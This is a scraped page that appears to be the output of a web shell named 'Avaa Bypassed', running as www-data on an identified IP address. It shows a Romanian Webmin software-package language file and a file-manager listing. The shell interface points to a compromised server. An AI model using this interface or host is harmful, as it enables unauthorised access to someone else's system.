[ Avaa Bypassed ]




Upload:

Command:

www-data@3.140.184.21: ~ $
index_title=Pachete software
index_installed=Pachetele instalate
index_close=Inchide tot.
index_open=Deschideți toate.
index_search=Caută pachet:
index_install=Instalați un pachet nou
index_installmsg=Selectați locația pentru a instala un nou pachet $1 din ..
index_local=Din fișierul local
index_uploaded=Din fișierul încărcat
index_ftp=Din ftp sau URL URL
index_installok=Instalare
index_ident=Identificați un fișier
index_identmsg=Introduceți o comandă sau numele de cale al unui fișier pentru a căuta în baza de date $1.
index_identok=Caută:
index_all=Toate pachetele
index_return=indexul modulului
index_treturn=arbore de pachete
index_tree=Arborele de pachete
index_epackagecmd=Sistemul de pachete $1 necesită comanda $2 
index_eupdatecmd=Sistemul de actualizare $1 necesită comanda $2 
index_epackagecheck=Sistemul de gestionare a pachetelor selectat nu este valid: $1. <br>Este posibil să fie necesar să selectați un alt sistem în pagina<a href='$2'> configurația modulului </a>.
index_eupdatecheck=Sistemul de actualizare selectat nu este valid: $1. <br>Este posibil să fie necesar să selectați o metodă de actualizare diferită pe pagina<a href='$2'> configurația modulului </a>.
index_echeckpackage=Nu a fost detectat niciun sistem de pachete!
index_echeckupdate=Nu a fost detectat niciun sistem de actualizare!
index_filter=Pachetele de filtrare
index_filterclear=Ștergeți filtrul
index_filtered=Se afișează <tt>$1</tt> pachete din <tt>$2</tt>

search_title=Căutare pachete
search_nomatch=Niciun pachet nu se potrivește cu $1 
search_none=Nici unul
search_desc=Descriere
search_class=Clasă
search_pack=Pachet
search_match=Pachetele potrivite cu $1 
search_return=rezultatele cautarii
search_esearch=Nu ai introdus nimic pentru a căuta!
search_delete=Dezinstalați pachetele selectate
search_selall=Selectează tot
search_invert=Inverseaza selectia

edit_title=Modifica pachetul
edit_details=Detalii pachet
edit_desc=Descriere
edit_pack=Pachet
edit_class=Clasă
edit_none=Nici unul
edit_ver=Versiune
edit_vend=Vânzător
edit_arch=Arhitectură
edit_inst=instalat
edit_list=Lista de fișiere
edit_listdesc=Afișați toate fișierele din acest pachet și starea lor actuală de verificare.
edit_uninst=Dezinstalați
edit_uninstdesc=Ștergeți acest pachet din sistem.
edit_return=detalii pachet
edit_egone=Pachetul nu mai este instalat

list_title=Fișiere pachet
list_files=Fișiere pentru pachetul $1 
list_path=cale
list_owner=Proprietar
list_group=grup
list_type=Tip
list_size=mărimea
list_status=stare
list_ok=O.K
list_view=(Vedere)
list_eview=Nu a putut deschide $1 : $2 

delete_err=Nu a reușit să ștergeți pachetul $1 
delete_epack=Pachetul $1 nu există
delete_title=Ștergeți pachetul
delete_rusure=Sigur doriți să ștergeți pachetul $1 ? Până la $2 fișiere ($3) vor fi șterse pentru totdeauna.
delete_rusure2=Sigur doriți să ștergeți pachetul $1 ?
delete_ok=Șterge
delete_nodeps=Ignorați dependențele?
delete_noscripts=Evitați să dezinstalați scripturile?
delete_efile=Fișier temp incorect de șters
delete_purge=Purgeți fișierele de configurare?
delete_depstoo=Și ați eliminat dependențele neutilizate?

file_title=Informații despre fișier
file_notfound=Nu sunt disponibile informații despre $1 
file_path=cale
file_type=Tip
file_perms=Permisiuni
file_owner=Proprietar
file_group=grup
file_size=mărimea
file_link=Link către
file_pack=Pachet
file_class=Clasă
file_desc=Descriere
file_none=Nici unul

install_err=Instalarea pachetului nu a reușit
install_elocal=Nu a fost furnizat niciun fișier local
install_elocal2=„$1” nu există
install_eupload=Browserul dvs. nu acceptă încărcări de fișiere
install_eurl=URL-ul de neînțeles „$1”
install_eupdate=Nu a fost introdus niciun pachet de instalat
install_edir=Nu este un director $1 valid
install_ezip=Nu este un fișier $1 comprimat sau gzipped valid
install_efile=Nu este un fișier $1 valid
install_title=Instalează pachetul
install_header=Instalați pachetul
install_packs=Pachet (e) de instalat
install_ok=Instalare

do_err=Instalarea pachetului $1 nu a reușit
do_title=Instalează pachetul
do_efailed=Instalarea a eșuat : $1 
do_efailedmsg1=Puteți încerca să instalați din nou revenind la pagina anterioară și selectând diferite opțiuni de instalare.
do_efailedmsg2=În caz contrar, <a href='$1'>faceți clic aici pentru a șterge fișierul pachet temporar</a> pentru a economisi spațiu pe disc.
do_success=Pachetul $1 a fost instalat cu succes
do_details=Detalii pachet
do_desc=Descriere
do_class=Clasă
do_pack=Pachet
do_ver=Versiune
do_vend=Vânzător
do_arch=Arhitectură
do_inst=instalat
do_none=Nici unul
do_files=Fișiere pachet

pkgadd_root=Directorul rădăcină
pkgadd_eroot=Directorul rădăcină „$1” nu există
pkgadd_unknown=Necunoscut
pkgadd_manager=Managerul de pachete System V

rpm_upgrade=Pachet de actualizare?
rpm_replacepkgs=Suprascrieți pachetul?
rpm_nodeps=Ignorați dependențele?
rpm_oldpackage=Înlocuiți versiunea nouă cu cea veche?
rpm_noscripts=Executați scripturile de instalare?
rpm_excludedocs=Instalați documentația?
rpm_replacefiles=Suprascrieți fișierele?
rpm_notriggers=Rulează scripturi declanșate?
rpm_ignoresize=Verificați dimensiunile sistemului de fișiere?
rpm_root=Directorul rădăcină
rpm_eroot=Directorul rădăcină „$1” nu există
rpm_search=Căutați rpmfind.net pentru:
rpm_none=Nu s-au găsit pachete care să corespundă căutării dvs.
rpm_find=Căutare rpmfind.net ..
rpm_findrpm=Pachetul nume de fișier
rpm_finddistro=distribuire
rpm_finddesc=Descriere

bsd_unknown=Necunoscut
bsd_scripts=Executați scripturile de instalare pre și post?
bsd_force=Forțați instalarea dacă lipsesc premisele?
bsd_manager=$1 Manager de pachete

slack_unclass=Alte
slack_unknown=Necunoscut
slack_missing=Dispărut
slack_root=Directorul rădăcină
slack_eroot=Directorul rădăcină lipsă sau nevalid
slack_manager=Managerul de pachete Slackware
slack_edir=Lipsește directorul pachetelor Slackware $1 

debian_unknown=Necunoscut
debian_depends=Ignorați probleme de dependență?
debian_conflicts=Ignorați conflictele de pachete?
debian_overwrite=Suprascrieți fișierele de la alte pachete?
debian_downgrade=Înlocuiți pachetul mai nou cu cel vechi?
debian_manager=Debian DPKG

log_install_package=Pachetul instalat $1 
log_install_apt_l=Pachet (e) instalat (e) $1 din APT
log_install_apt=Instalat $2 pachet (e) din APT
log_install_yum_l=Pachetul (pachetele) instalat (e) $1 de la YUM
log_install_yum=Instalat $2 pachet (e) de la YUM
log_install_rhn_l=Pachetul (pachetele) instalat (e) $1 din rețeaua Redhat
log_install_rhn=Instalat $2 pachet (e) din rețeaua Redhat
log_check_apt_l=Pachetul (pachetele) actualizat $1 din APT
log_check_apt=Pachetul actualizat $2 din APT
log_delete=Pachetul dezinstalat $1 
log_deletes_l=Pachetele dezinstalate $1 
log_deletes=Pachetele dezinstalate $1 
log_urpmi_update=Pachetele disponibile URPMI actualizate
log_urpmi_upgrade=Pachetele URPMI instalate modernizate
log_upgrade_yum_l=Pachetul (pachetele) actualizat $1 de la YUM
log_upgrade_yum=Pachetul actualizat $2 de la YUM
log_check_rhn_l=Pachetul (pachetele) actualizat $1 din rețeaua Redhat
log_check_rhn=Pachetul actualizat $2 din rețeaua Redhat

rhn_input=Pachet din Redhat Network
rhn_find=Caută RHN ..
rhn_install=Instalarea pachetului (pachetelor) cu comanda $1 ..
rhn_ok=.. instalare completă.
rhn_failed=.. instalarea nu a reușit!
rhn_title=Selectați pachetul RHN
rhn_pack=Pachet
rhn_version=Versiune
rhn_form=Opțiuni Redhat Network
rhn_header=Opțiuni de actualizare automată a pachetelor
rhn_auto=Verificați automat actualizările?
rhn_interval=Intervalul de verificare
rhn_secs=minute
rhn_apply=Salvați și aplicați
rhn_now=Salvați și verificați acum
rhn_err=Nu a reușit să salvați opțiunile RHN
rhn_einterval=Interval lipsă sau nevalid
rhn_einterval2=Intervalul de verificare trebuie să fie de cel puțin 120 de secunde
rhn_check=Verificarea actualizărilor
rhn_checkdesc=Se verifică pachetele actualizate din rețeaua Redhat cu comanda $1 ..
rhn_nocheck=.. fara pachete actualizate.
rhn_proxy=URL-ul serverului proxy pentru descărcare
rhn_none=Dezactivat
rhn_eproxy=Server proxy lipsă sau nevalid
rhn_skip=Sariți pachetele care se potrivesc
rhn_nonefound=Nu există pachete disponibile pentru actualizare.
rhn_name=Rețeaua Redhat

apt_input=Pachet de la APT
apt_install=Instalarea pachetului (pachetelor) cu comanda $1 ..
apt_ok=.. instalare completă.
apt_failed=.. instalarea nu a reușit!
apt_form=Actualizați toate pachetele
apt_header=Opțiuni de actualizare a pachetului APT
apt_update=Resincronizați lista de pachete (<tt>actualizare</tt>)
apt_mode=Modul upgrade
apt_mode2=Actualizare distribuție (<tt>upgrade-dist</tt>)
apt_mode1=Actualizare normală
apt_mode0=Nu faceți upgrade
apt_sim=Afișați doar pachetele care ar fi actualizate
apt_apply=Imbunatateste acum
apt_upgrade=Actualizați toate pachetele
apt_updatedesc=Resincronizarea listei de pachete cu comanda $1 ..
apt_updatefailed=.. resincronizarea nu a reușit!
apt_updateok=.. resincronizare completă.
apt_upgradedesc=Actualizarea tuturor pachetelor cu comanda $1 ..
apt_upgradedescsim=Simularea actualizării tuturor pachetelor cu comanda $1 ..
apt_upgradefailed=.. upgrade-ul a eșuat!
apt_upgradeok=.. upgrade complet.
apt_search=Găsiți pachete care se potrivesc :
apt_find=Căutare APT ..
apt_title=Căutați APT
apt_name=APT
apt_repo_url=Adresa URL a bazei de depozitare
apt_repo_path=Componentele căilor de distribuție
apt_repo_eurl=Adresa URL de bază care lipsește sau este nevalidă
apt_repo_epath=Calea de distribuție lipsește

yum_input=Pachet de la YUM
yum_install=Instalarea pachetului (pachetelor) cu comanda $1 ..
yum_ok=.. instalare completă.
yum_failed=.. instalarea nu a reușit!
yum_find=Căutați YUM ..
yum_package=Pachet
yum_version=Versiune
yum_arch=Arhitectură
yum_source=Sursă
yum_form=Actualizați toate pachetele
yum_apply=Actualizați toate instalarea pachetelor de la YUM
yum_upgrade=Actualizați toate pachetele
yum_upgradedesc=Actualizarea tuturor pachetelor cu comanda $1 ..
yum_upgradefailed=.. upgrade-ul a eșuat!
yum_upgradeok=.. upgrade complet.
yum_title=Răsfoiți YUM
yum_name=YUM
yum_enable=Activați depozitul:
yum_none=&lt;None&gt;
yum_repo_id=ID-ul depozitului
yum_repo_name=Descrierea depozitului
yum_repo_url=Adresa URL a pachetului
yum_repo_gpg=Fișier certificat GPG
yum_repo_none=Ne semnat
yum_repo_eid=ID-ul depozitului lipsă sau nevalid - sunt permise doar litere și numere
yum_repo_eidclash=ID-ul depozitului este deja utilizat
yum_repo_ename=Lipsește numele depozitului
yum_repo_eurl=Adresa URL a depozitului lipsă sau nevalidă
yum_repo_egpg=Fișierul GPG cert lipsește sau nu există
yum_repo_efile=Fișierul de depozit există deja!

urpmi_name=urpmi
urpmi_input=Pachet de la URPMI
urpmi_find=Căutați URPMI ..
urpmi_form=Actualizați toate pachetele
urpmi_update=Actualizați pachetele disponibile URPMI
urpmi_upgrade=Actualizați pachetele URPMI instalate la cele mai recente versiuni
urpmi_title_update=Actualizarea pachetelor disponibile
urpmi_title_upgrade=Actualizarea pachetelor instalate
urpmi_updatedesc=Se execută comanda $1 ..
uprmi_upgradefailed=.. a eșuat!
urpmi_upgradeok=.. complet.
urpmi_install=Instalarea pachetului (pachetelor) cu comanda $1 ..
urpmi_ok=.. instalare completă.
urpmi_failed=.. instalarea nu a reușit!

rpm_missing=Dispărut
rpm_checkfail=Verificare $1 eșuată
rpm_md5=MD5
rpm_fsize=mărime fișier
rpm_sym=symlink
rpm_mtime=timpul de modificare
rpm_dev=dispozitiv
rpm_user=proprietatea utilizatorului
rpm_perm=permisiuni
rpm_group=proprietatea grupului
rpm_erpm=RPM $1 nu a fost găsit : $2 

soft_reg=Fișier regulat
soft_dir=Director
soft_spec=Fișier special
soft_sym=Legătură simbolică
soft_hard=Hard Link
soft_edit=Fișier modificabil
soft_efunc=Nu a putut încărca funcțiile pentru sistemul de pachete $1.
soft_euncompress=Fișierul este comprimat, dar comanda <tt>uncompress</tt> nu a fost găsită în sistemul dvs.
soft_euncmsg=Nu a putut fi decomprimat fișierul : $1 
soft_egzip=Fișierul este gzipped, dar comanda gzip nu a fost găsită în sistemul dvs.
soft_egzmsg=Eroare la fișierul gunzip : $1 

aix_unknown=Necunoscut
aix_device=Dispozitiv / director INPUT pentru software
aix_software=SOFTWARE pentru instalare
aix_preview=PREVEDERE numai? (operația de instalare NU va apărea)
aix_commit=COMITĂ actualizări software?
aix_save=Salvați fișierele înlocuite?
aix_auto=Instalați automat software-ul necesar?
aix_extend=EXTEND sisteme de fișiere dacă este nevoie de spațiu?
aix_overwrite=DESCĂRCAȚI versiuni identice sau mai noi?
aix_verify=VERIFICAȚI instalați și verificați dimensiunile fișierelor?
aix_include=Includeți seturi de fișiere LANGUAGE corespunzătoare?
aix_detail=Ieșire DETALIATĂ?
aix_process=Procesați mai multe volume?
aix_accept=ACCEPTĂ noi acorduri de licență?
aix_license=Previzualizați noile acorduri LICENȚĂ?
aix_clean=Eșec la instalarea curățării?
aix_manager=Manager de pachete AIX

emerge_input=Din depozitul Portage
emerge_find=Căutare ..
emerge_install=Instalarea pachetului cu comanda $1 ..
emerge_failed=.. instalarea nu a reușit!
emerge_ok=.. instalare completă.
emerge_search=Caută pachet:
emerge_pack=Pachet
emerge_class=Clasă
emerge_version=Versiune
emerge_desc=Descriere
emerge_none=Niciun pachet nu se potrivește căutării tale.
emerge_noreplace=Înlocuiți pachetele existente?
emerge_onlydeps=Instalați doar dependențe?
emerge_title=Căutare Portage
emerge_name=taxă de transport

cygwin_fmissing=Fișierul lipsește
cygwin_lmissing=Fișierul la care punctează link-ul lipsește
cygwin_estat=Nu a reușit fișierul stat: $1 
cygwin_elread=Eroare la citirea simbolului: $1 
cygwin_elstat=Eroare la statistica simlink: $1 
cygwin_badpostscript=Avertisment: acest script nu pare să fi fost executat
cygwin_pkgexists=Pachetul $1 există deja.
cygwin_warnuse=Avertisment: aceasta nu este o interfață oficială pentru gestionarea software-ului Cygwin. Folosiți pe propria răspundere.
cygwin_edb=Lipsește baza de date de pachete Cygwin $1 

deletes_err=Nu a reușit să ștergeți pachetele
deletes_enone=Nu au fost selectate pachete
deletes_title=Ștergeți pachetele
deletes_desc=Dezinstalarea pachetelor $1 ..
deletes_failed1=Dezinstalarea $1 : $2 a eșuat
deletes_success1=Dezinstalat cu succes $1 
deletes_failed2=Dezinstalarea a eșuat : $1 
deletes_success2=.. dezinstalarea finalizată.
deletes_rusure=Sigur doriți să dezinstalați pachetele $1 ?
deletes_ok=Ștergeți-le pe toate

csw_input=Pachet de la CSW
csw_install=Instalarea pachetului (pachetelor) cu comanda $1 ..
csw_ok=.. instalare completă.
csw_failed=.. instalarea nu a reușit!
csw_already=.. deja instalat.
csw_retry=.. încercând din nou cu dependențe noi.
csw_find=Parcurgeți CSW ..
csw_package=Pachet
csw_version=Versiune
csw_title=Căutați CSW
csw_name=CSW
csw_form=Pachetele de upgrade
csw_upgrade=Actualizați toate pachetele instalate
csw_updatedesc=Actualizarea tuturor pachetelor instalate cu comanda $1 ..

missing_msg=Pachetul $1 poate fi instalat automat de Webmin folosind $2.
missing_now=Instaleaza acum

find_title=Caută pachet
find_search=Găsiți pachete care se potrivesc:
find_name=Nume
find_version=Versiune
find_desc=Descriere
find_none=Nu s-au găsit pachete care să corespundă căutării dvs.

msi_users=Pune la dispoziție aplicația nouă
msi_users0=Nimeni
msi_users1=Utilizator curent
msi_users2=Toți utilizatorii
msi_missing=Nu exista
msi_size=Dimensiune greșită

hpux_create_target_path=Creați o cale de țintă?
hpux_mount_all_filesystems=Montați toate sistemele de fișiere?
hpux_reinstall=Reinstala?
hpux_reinstall_files=Reinstalați fișierele?
hpux_reinstall_files_use_cksum=Reinstalați fișierele utilizând checksum?
hpux_allow_multiple_versions=Permiteți mai multe versiuni?
hpux_defer_configure=Amâna configurarea?
hpux_autorecover_product=Autorecover produs?
hpux_allow_downdate=Permiteți scaderea?
hpux_allow_incompatible=Permiteți incompatibilitate?
hpux_autoselect_dependencies=Dependențe de selectare automată?
hpux_enforce_dependencies=Cumpărați dependențele?
hpux_enforce_scripts=Aplicați scripturile?
hpux_enforce_dsa=Aplică analiza spațiului pe disc?
hpux_root=Directorul rădăcină

ports_install=Instalarea porturilor FreeBSD $1 ..
ports_failed=.. unele porturi au eșuat
ports_ok=.. instalare completă
ports_input=Pachet din porturi
ports_find=Porturi de căutare
ports_name=Porturi FreeBSD
ports_form=Actualizarea bazei de date Porturi
ports_apply=Descărcați cel mai recent instantaneu
ports_upgrade=Descărcarea instantanee de porturi
ports_running=Se execută comanda $1 ..

pkg_install=Instalarea pachetelor FreeBSD $1 ..
pkg_failed=.. unele pachete nu au reușit
pkg_ok=.. instalare completă
pkg_find=Căutați pkgng
pkg_input=Pachet de la pkgng

pkgsrc_install=Instalarea pachetelor pkgsrc $1 ..
pkgsrc_failed=.. unele pachete nu au reușit
pkgsrc_ok=.. instalare completă
pkgsrc_find=Căutați pkgng
pkgsrc_input=Pachet de la pkgsrc

log_IPKG_update=Baza de date IPKG actualizată
log_IPKG_upgrade=Pachetele IPKG instalate modernizate

IPKG_name=ipkg
IPKG_input=Pachet de la IPKG
IPKG_find=Căutați IPKG ..
IPKG_form=Gestionează pachetele IPKG
IPKG_update=Actualizați baza de date de pachete IPKG
IPKG_upgrade=Actualizați pachetele IPKG instalate
IPKG_title_update=Actualizarea bazei de date IPKG
IPKG_title_upgrade=Actualizarea pachetelor instalate
IPKG_updatedesc=Se execută comanda $1 ..
IPKG_upgradefailed=.. a eșuat!
IPKG_upgradeok=.. complet.
IPKG_install=Instalarea pachetului (pachetelor) cu comanda $1 ..
IPKG_ok=.. instalare completă.
IPKG_failed=.. instalarea nu a reușit!
IPKG_index_tree=Gestionează pachetele IPKG
IPKG_install_package=Instalare
IPKG_install_packagedesc=Instalați acest pachet pe sistemul dvs.
IPKG_noupgrade=Nimic de actualizat
IPKG-edit_title=Gestionează pachetul IPKG
IPKG_update_avail=Actualizare disponibilă:
IPKG_not_installed=Pachetul nu este instalat

Filemanager

Name Type Size Permission Actions
af.auto File 16.57 KB 0644
ar.auto File 20 KB 0644
be.auto File 24.39 KB 0644
bg.auto File 26.09 KB 0644
ca File 18.07 KB 0644
ca.auto File 118 B 0644
cs File 13.69 KB 0644
cs.auto File 3.86 KB 0644
da.auto File 16.26 KB 0644
de File 16.82 KB 0644
el.auto File 26.81 KB 0644
en File 15.57 KB 0644
es File 12.55 KB 0644
es.auto File 5.46 KB 0644
eu.auto File 16.95 KB 0644
fa.auto File 21.84 KB 0644
fi.auto File 16.63 KB 0644
fr File 7.93 KB 0644
fr.auto File 10.83 KB 0644
he.auto File 19.17 KB 0644
hr.auto File 16.68 KB 0644
hu File 4.06 KB 0644
hu.auto File 13.82 KB 0644
it.auto File 17.69 KB 0644
ja File 9.05 KB 0644
ja.auto File 13.9 KB 0644
ko File 12.95 KB 0644
ko.auto File 5.73 KB 0644
lt.auto File 16.94 KB 0644
lv.auto File 17.14 KB 0644
ms File 9.39 KB 0644
ms.auto File 6.35 KB 0644
mt.auto File 17.48 KB 0644
nl File 13.79 KB 0644
nl.auto File 3.12 KB 0644
no File 16.06 KB 0644
pl File 15.26 KB 0644
pl.auto File 2.08 KB 0644
pt File 3.86 KB 0644
pt.auto File 13.48 KB 0644
pt_BR.auto File 17.33 KB 0644
ro.auto File 17.69 KB 0644
ru File 11.37 KB 0644
ru.auto File 12.28 KB 0644
sk.auto File 17.55 KB 0644
sl.auto File 16.45 KB 0644
sv File 5.66 KB 0644
sv.auto File 10.77 KB 0644
th.auto File 30.73 KB 0644
tr File 3.75 KB 0644
tr.auto File 13.03 KB 0644
uk.auto File 24.47 KB 0644
ur.auto File 23.27 KB 0644
vi.auto File 18.69 KB 0644
zh File 3.32 KB 0644
zh.auto File 11.16 KB 0644
zh_TW File 3.41 KB 0644
zh_TW.auto File 11.27 KB 0644